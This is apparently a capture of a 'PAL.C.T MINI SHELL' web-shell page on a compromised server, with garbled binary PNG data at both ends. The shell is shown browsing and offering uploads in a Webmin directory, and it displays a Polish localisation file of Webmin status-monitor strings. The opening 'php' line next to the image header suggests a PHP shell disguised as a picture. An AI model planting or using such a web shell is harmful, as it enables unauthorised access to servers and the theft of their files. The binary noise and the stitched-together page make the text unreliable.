php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/status/lang/
upload
files >> //usr/libexec/webmin/status/lang/pl.auto

index_last=Ostatnie sprawdzenie
index_none=Obecnie nie są zdefiniowane żadne monitory.
index_oldtime=Status od ostatniej zaplanowanej kontroli w $1 
index_esnmp=Moduł jest skonfigurowany do wysyłania pułapek SNMP na stronie <a href='$3'>Konfiguracja modułu</a>, ale moduł $1 Perl nie jest zainstalowany. <a href='$2'>Kliknij tutaj</a>, aby pobrać i zainstalować teraz.
index_refresh=Odśwież status
index_refreshdesc=Wykonaj natychmiastowe odświeżenie wszystkich statusów monitora, zamiast czekać na następną zaplanowaną aktualizację.
index_delete=Usuń wybrane
index_group=Członkowie $1 

type_fail2ban=Serwer Fail2Ban
type_init=Działanie rozruchowe
type_dns=Wyszukiwanie DNS
type_query=Zapytanie SQL

mon_virtualmin=Ostrzeżenie! Ten monitor jest powiązany z domeną Virtualmin $1, dlatego nie należy go tutaj edytować ani usuwać.
mon_header3=Monitorowane opcje usług
mon_eremote2=Nie można się skontaktować z serwerem Webmin $1 : $2 
mon_etype=Niepoprawna nazwa typu monitora
mon_efails=Brakująca lub niepoprawna liczba awarii
mon_edepend=Monitor nie może polegać na sobie
mon_enoremote=Brak wybranych hostów lub grup na wybranych
mon_header4=Historia statusu
mon_changes0=Pokaż każdy typ wydarzenia
mon_changes1=Pokaż tylko zmiany
mon_all=Pokaż wszystkie wydarzenia historyczne
mon_nochanges=Nie nastąpiły żadne zmiany statusu w ostatnich $1 wydarzeniach historycznych.

sched_pager=Raport o stanie strony na numer
sched_pnone=Nie wysyłaj stron
sched_warn3=Tak długo, jak usługa jest dostępna
sched_warn2=Za każdym razem, gdy usługa jest wyłączona
sched_smtp=Wyślij pocztę przez
sched_smtp_prog=Lokalny serwer pocztowy
sched_smtp_server=Serwer SMTP
sched_esmtp=Brakujący lub nieprawidłowy serwer SMTP
sched_esmtpcmd=Komenda SMTP $1 nie powiodła się : $2 
sched_eemailserver=Twój serwer pocztowy nie jest zainstalowany : $1 
sched_sms=Wyślij SMS na adres
sched_smsno=Nikt
sched_smscarrier=Telefon u operatora
sched_smsnumber=z numerem
sched_esmsnumber=Brakujący lub nienumeryczny numer SMS
sched_esmsname=Brakujący lub nieprawidłowo wyglądający numer SMS
sched_subject=Wiersz tematu wiadomości SMS
sched_subject0=Brak (alert znajduje się w ciele)
sched_subject1=Tekst ostrzeżenia (pozostaw ciało puste)
sched_subject2=Własny tekst
sched_esubject=Brak tematu wiadomości SMS

http_none=Nie uwierzytelniaj się
http_euser=Brak nazwy użytkownika
http_method=Metoda żądania HTTP
http_regexp=Strona musi pasować do wyrażenia regularnego
http_eregexp=Nie wprowadzono wyrażenia regularnego dla pasującej strony
http_ehead=Nie można użyć metody żądania HEAD podczas sprawdzania wyrażenia regularnego
http_codes=Dopuszczalne kody statusu HTTP
http_codes_def=Domyślny ($1)
http_ecodes=Nie wprowadzono kodów HTTP do zaakceptowania
http_ecodes3=Kod HTTP musi być liczbą trzycyfrową

ping_timeout=Limit czasu po $1 sekundach
ping_resolv=Nie udało się rozpoznać nazwy hosta

proc_thresh=Liczba procesów, które muszą istnieć, aby monitor mógł uznać je za uruchomione
proc_ethresh=Brakująca lub nieprawidłowa liczba procesów
proc_easuser=Użytkownik dla procesu do uruchomienia, ponieważ nie istnieje

exec_mode=Wyjdź ze sprawdzania statusu
exec_mode0=Fail monitor, jeśli polecenie się nie powiedzie
exec_mode1=Błąd monitorowania, jeśli polecenie się powiedzie
exec_mode2=Zignoruj sukces lub porażkę
exec_regexp=Porównaj dane wyjściowe z wyrażeniem regularnym
exec_noregexp=Nie sprawdzaj
exec_remode=Sprawdź ponownie wyrażenie
exec_remode0=Niepowodzenie, jeśli wyjście nie pasuje
exec_remode1=Błąd, jeśli dane wyjściowe są zgodne

file_elarge=Pliki za duże : $1 
file_esmall=Pliki za małe : $1 
file_eowner=Pliki z niewłaściwym właścicielem : $1 
file_egroup=Pliki z niewłaściwą grupą : $1 
file_owner=Właścicielem pliku musi być
file_group=Grupa plików musi być
file_nocheck=Byle co
file_perms=Uprawnienia ósemkowe muszą być
file_eperm=Pliki z niewłaściwymi uprawnieniami : $1 

space_min2=Minimalna ilość wolnego miejsca
space_mode0=Rozmiar absolutny
space_mode1=Procent całości
space_epc=Brakujący lub nieprawidłowy procent wolnego miejsca
space_inode=Minimalna ilość darmowych i-węzłów
space_ierr=Tylko $1 inodes wolnego
space_merr=Tylko $1 wolnego miejsca
space_perr=Tylko $1% wolnego
space_dferr=Nie udało się pobrać rozmiaru systemu plików

memory_min2=Minimalna wolna rzeczywista pamięć
memory_emin=Brakująca lub nieprawidłowa ilość wolnej pamięci rzeczywistej
memory_eproc=Webmin nie wie, jak sprawdzić wolną pamięć w systemie operacyjnym
memory_minswap=Minimalna wolna pamięć wirtualna
memory_eminswap=Brakująca lub nieprawidłowa ilość wolnej pamięci wirtualnej

proftpd_etype=Tego monitora nie można używać, gdy ProFTPD jest uruchamiany autonomicznie

mailserver_to=Wyślij e-mail na adres
mailserver_desc=Poniższy adres musi być autoresponderem, który odpowiada na adres źródłowy tym samym wierszem Temat:.

oldfile_file=Plik do monitorowania (niepowodzenie, jeśli nie został zmieniony)
oldfile_diff=Niepowodzenie, jeśli nie zmieniono dla

raid_device=Urządzenie RAID
raid_edevice=Nie wybrano urządzenia RAID
raid_bad=Wykryto zły dysk
raid_resync=Obecnie resynchronizacja
raid_notfound=Nie znaleziono urządzenia RAID $1 

iface_iface=Interfejs do sprawdzenia

init_action=Działanie do sprawdzenia
init_eaction=Nie wybrano żadnej akcji

refresh_title=Odśwież status
refresh_doing=Odświeżanie statusu wszystkich monitorów ..
refresh_doing2=Odświeżanie stanu $1 wybranych monitorów ..
refresh_done=.. gotowy.

sensors_name=Czujnik do sprawdzenia
sensors_value=Nie udało się, kiedy
sensors_value0=System wskazuje ostrzeżenie
sensors_value1=Wartość jest poniżej $1 
sensors_value2=Wartość jest wyższa niż $1 
sensors_cmd=Polecenie <tt>czujniki</tt> nie jest zainstalowane w twoim systemie. Ten monitor wymaga zainstalowania pakietu lm_sensors do działania.
sensors_none=W systemie nie wykryto żadnych czujników. Może być konieczne uruchomienie polecenia inicjalizacji <tt>czujniki-wykrywanie</tt>.
sensors_cur=$1 (obecnie $2 $3)
sensors_emin=Brakująca lub nieprawidłowa wartość minimalna
sensors_emax=Brakująca lub nieprawidłowa wartość maksymalna

nut_ups=NUT UPS do sprawdzenia
nut_name=Atrybut do sprawdzenia
nut_value=Nie udało się, kiedy
nut_value1=Wartość jest poniżej $1 
nut_value2=Wartość jest wyższa niż $1 
nut_cmd=Polecenie <tt>upsc</tt> nie jest zainstalowane w twoim systemie. Ten monitor wymaga zainstalowania i skonfigurowania pakietu NUT do działania.
nut_eups=Nie wpisano USP do sprawdzenia
nut_emin=Brakująca lub nieprawidłowa wartość minimalna
nut_emax=Brakująca lub nieprawidłowa wartość maksymalna

mailq_size=Maksymalny rozmiar kolejki pocztowej
mailq_esize=Brakujący lub nieprawidłowy maksymalny rozmiar kolejki

dns_host=Nazwa hosta do wyszukania
dns_eserver=Brakujący lub nieprawidłowy serwer DNS
dns_ehost=Brakująca lub nieprawidłowo wyglądająca nazwa hosta do wyszukiwania
dns_ecmds=W systemie nie są zainstalowane polecenia <tt>nslookup</tt> ani <tt>dig</tt>

monitor_email_down=Monitoruj $1 w poszukiwaniu „$2” wykrył, że usługa spadła do $3 
monitor_email_up=Monitoruj $1 w poszukiwaniu „$2” wykrył, że usługa wróciła do wartości $3 
monitor_email_un=Monitoruj $1 w poszukiwaniu „$2” wykrył, że usługa została odinstalowana w $3 
monitor_email_webmin=Monitoruj $1 w poszukiwaniu „$2” wykrył, że Webmin nie działa przy $3 
monitor_email_timed=Upłynął limit czasu monitora $1 dla „$2” na $3 
monitor_email_isdown=Monitoruj $1 w poszukiwaniu „$2” wykrył, że usługa nie działa przy $3 
monitor_sub_isup=$1 w górę na $2 
monitor_pager_isup=$1 : „$2” wzrósł o $3 
monitor_snmp_isup=$1:$2 
monitor_email_isup=Monitor $1 pod kątem „$2” wykrył, że usługa działa na poziomie $3 
monitor_email_stat=Obecny status: $1 

ftp_user=Zaloguj się jako użytkownik
ftp_anon=Anonimowy
ftp_file=Plik do pobrania
ftp_ehost=Brakujący lub nieprawidłowy host serwera FTP
ftp_eport=Brakujący lub nieprawidłowy port serwera FTP
ftp_efile=Brakujący lub nieprawidłowy plik do pobrania
ftp_tls=Używać szyfrowania TLS?
ftp_etls=Nie można włączyć TLS, dopóki nie zostanie zainstalowany moduł $1 Perl
ftp_econn=Połączenie FTP TLS nie powiodło się
ftp_econn2=Połączenie FTP TLS nie powiodło się : $1 
ftp_elogin=Logowanie FTP przez TLS nie powiodło się : $1 
ftp_etlsfile=Pobieranie FTP TLS nie powiodło się : $1 

query_host=Host serwera bazy danych
query_user=Zaloguj się jako użytkownik
query_pass=Zaloguj się za pomocą hasła
query_sql=Zapytanie SQL do wykonania
query_result=Spodziewany wynik
query_edriver=Moduł sterownika Perl $1 nie jest zainstalowany
query_edb=Brakująca lub nieprawidłowa nazwa bazy danych
query_ehost=Brak lub nieprawidłowa nazwa hosta serwera bazy danych
query_euser=Zła nazwa użytkownika
query_esql=Brak zapytania SQL
query_eresult=Brak oczekiwanego wyniku
query_ewrong=Niepoprawny wynik : $1 

rssh_host=Host serwera SSH
rssh_ruser=Zaloguj się jako użytkownik
rssh_rpass=Zaloguj się za pomocą hasła
rssh_nopass=Nie wymagane
rssh_nologin=Nie próbuj się zalogować
rssh_ehost=Brakujący lub nieprawidłowy host serwera SSH
rssh_eruser=Brak nazwy użytkownika
rssh_ecmd=Komenda <tt>ssh</tt> nie jest zainstalowana w systemie
rssh_eproc=Moduł uruchomionych procesów nie jest obsługiwany w systemie
rssh_wrongpass=niewłaściwy login
rssh_failed=Połączenie nieudane
rssh_error=Błąd SSH
rssh_haspass=Hasło
rssh_port=Port serwera SSH
rssh_eport=Brakujący lub nieprawidłowy numer portu

tmpl_header=Ostrzegaj o szablonach wiadomości e-mail
tmpl_desc=Opis szablonu
tmpl_email=Wiadomość e-mail
tmpl_instr=Instrukcje i zamiany
tmpl_subs=W wiadomościach e-mail, SMS i pager zdefiniowanych na tej stronie można stosować następujące podstawienia :
tmpl_subs_desc=Opis usługi
tmpl_subs_host=Host monitorowany
tmpl_subs_status=Status usługi, taki jak <i>Down</i>
tmpl_subs2=Ponadto można użyć bloków warunkowych, takich jak: <tt>$1 Usługa nie działa $2 Usługa jest w porządku $3</tt>
tmpl_err=Nie udało się zapisać szablonu e-maila
tmpl_edesc=Brak opisu szablonu
tmpl_emsg=Brak wiadomości e-mail
tmpl_esms=Brak wiadomości SMS
tmpl_esnmp=Brak komunikatu SNMP
tmpl_err2=Nie udało się usunąć szablonu wiadomości e-mail
tmpl_eusers=Jest używany przez następujące monitory : $1 

dtmpls_err=Nie udało się usunąć szablonów
dtmpls_eusers=$1 jest używany przez następujące monitory : $2 

sslcert_src=Lokalizacja certyfikatu
sslcert_url=Z adresu URL HTTPS
sslcert_file=Z pliku na serwerze
sslcert_eurl=Brakujący, nieprawidłowy lub niezgodny z SSL adres URL
sslcert_efile=Brakujący lub nieprawidłowy plik certyfikatu
sslcert_ecert=Nie można uzyskać certyfikatu
sslcert_edown=Serwer WWW jest wyłączony
sslcert_days=Kilka dni przed wygaśnięciem kończy się niepowodzeniem
sslcert_when=Po upływie terminu ważności
sslcert_mismatch=Czy wykryć także niezgodność nazwy hosta?
sslcert_edays=Brakująca lub nieprawidłowa liczba dni
sslcert_eopenssl=Komenda <tt>openssl</tt> jest wymagana do sprawdzania certyfikatów
sslcert_estart=Nieważne do $1 
sslcert_eend=Niepoprawny po $1 
sslcert_left=Wzrost - $1 dni do wygaśnięcia
sslcert_ematch=Nazwa hosta $1 nie pasuje do certyfikatu $2 
sslcert_emismatch=Sprawdzania nazwy hosta certyfikatu można używać tylko podczas sprawdzania adresu URL

du_dir=Katalog do monitorowania
du_max=Największy rozmiar
du_edir=Brakująca lub bezwzględna ścieżka do katalogu
du_emax=Brakujący lub nienumeryczny maksymalny rozmiar
du_over=Rozmiar to $1 
du_under=Rozmiar to tylko $1 

info_desc=Monitor systemu
info_last=Aktualny stan
info_title=Status systemu i serwera
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`